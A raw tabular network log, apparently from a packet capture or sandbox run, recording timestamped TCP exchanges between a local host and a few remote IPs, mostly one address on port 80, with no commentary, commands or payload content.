Nov 24, 2024 23:24:37.105127096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.105811119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.105851889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.105895996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.105974913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.106749058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.106795073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.107173920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.107243061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.107615948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.107682943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.107727051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.108489037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.108571053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.108598948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.108799934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.109357119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.109419107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.109473944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.109781981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.110261917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.110316038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.110389948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.110450029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.111139059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.111246109 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.111253023 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.111267090 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.111273050 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.111298084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.111532927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.111577034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.112128973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.112180948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.112204075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.112302065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.112967014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.113023996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.113028049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.113090992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.113846064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.113902092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.113924980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.114515066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.114646912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.114798069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.114816904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.115582943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.115633011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.115690947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.115761042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.116456985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.116693974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.116745949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.117399931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.117624998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.117671967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.118199110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.118334055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.118381023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.119133949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.119277000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.119782925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.119946003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.120024920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.120167971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.120213985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.120855093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.120908022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.120974064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.121016026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.121716022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.121767998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.121848106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.121887922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.122648954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.122770071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.122895956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.123449087 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.123487949 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.123574018 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.123800993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.124043941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.124438047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.124519110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.124682903 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.124695063 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.124727011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.124866962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.124957085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.125006914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.125345945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.125427008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.125452995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.125468016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.126163960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.126288891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.126313925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.126327991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.126996994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.127052069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.127176046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.127223015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.127943039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.127985954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.128063917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.128314972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.128828049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.128952026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.129000902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.129673958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.129781961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.129846096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.130546093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.130661011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.130686998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.130702972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.131422997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.131544113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.131596088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.132262945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.132316113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.132390976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.132430077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.133176088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.133251905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.133310080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.134056091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.134131908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.134279013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.134393930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.134955883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.135178089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.135231018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.135867119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.135983944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.136044025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.136651993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.136785030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.136904955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.137533903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.137589931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.137630939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.137732983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.138449907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.138537884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.138672113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.139292955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.139677048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.142472029 CET	443	49825	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:37.142688990 CET	49825	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:37.142708063 CET	443	49825	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:37.143124104 CET	443	49825	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:37.143469095 CET	49825	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:37.143546104 CET	443	49825	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:37.185389996 CET	49825	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:37.224206924 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.224416018 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.224556923 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.224684000 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.224698067 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.224742889 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.224750042 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.228516102 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.228543997 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.229023933 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.229280949 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.229295969 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.229327917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.229382038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.229402065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.229453087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.229604006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.229655027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.229698896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.230489016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.230540037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.230604887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.231378078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.231426954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.231473923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.258975983 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.259037971 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.259160042 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.259360075 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.259371042 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.259382010 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.259387016 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.262253046 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.262290955 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.262401104 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.262578011 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.262589931 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.297732115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.297816992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.297821999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.297889948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.298154116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.298197985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.298235893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.298283100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.299016953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.299086094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.299139977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.299876928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.299932957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.300061941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.300127983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.300775051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.300888062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.300942898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.301642895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.301697969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.301774025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.301902056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.302572012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.302625895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.302669048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.302736044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.303417921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.303474903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.303553104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.303608894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.304282904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.304476023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.304534912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.305155039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.305254936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.305304050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.306078911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.306119919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.306174994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.306967020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.307019949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.307053089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.307233095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.307871103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.307934999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.307934999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.307997942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.308716059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.308826923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.308904886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.309587955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.309638023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.309714079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.309756994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.310451984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.310509920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.310576916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.311183929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.311345100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.311397076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.311419010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.311702013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.312212944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.312387943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.312455893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.313200951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.313275099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.313777924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.313868046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.313981056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.314132929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.314301968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.314491034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.314877987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.315030098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.315078974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.315779924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.315824986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.315881968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.315923929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.316649914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.316690922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.316701889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.316915989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.317528009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.317591906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.317615032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.317728996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.318425894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.318485022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.318512917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.318562031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.319277048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.319375038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.319436073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.320172071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.320225000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.320256948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.320534945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.321058989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.321115017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.321177959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.321268082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.321921110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.321976900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.322045088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.322089911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.322875977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.323102951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.323106050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.323216915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.323935986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.323991060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.324024916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.324064970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.324567080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.324623108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.324688911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.324832916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.325531960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.325593948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.325618982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.325737953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.326325893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.326380014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.326576948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.326711893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.327214003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.327342033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.327394009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.328073978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.328142881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.328208923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.328274965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.328960896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.329021931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.329058886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.329106092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.329849958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.329905033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.329942942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.329981089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.330724955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.330811024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.330821991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.331048012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.331649065 CET	80	49760	185.215.113.206	192.168.2.5
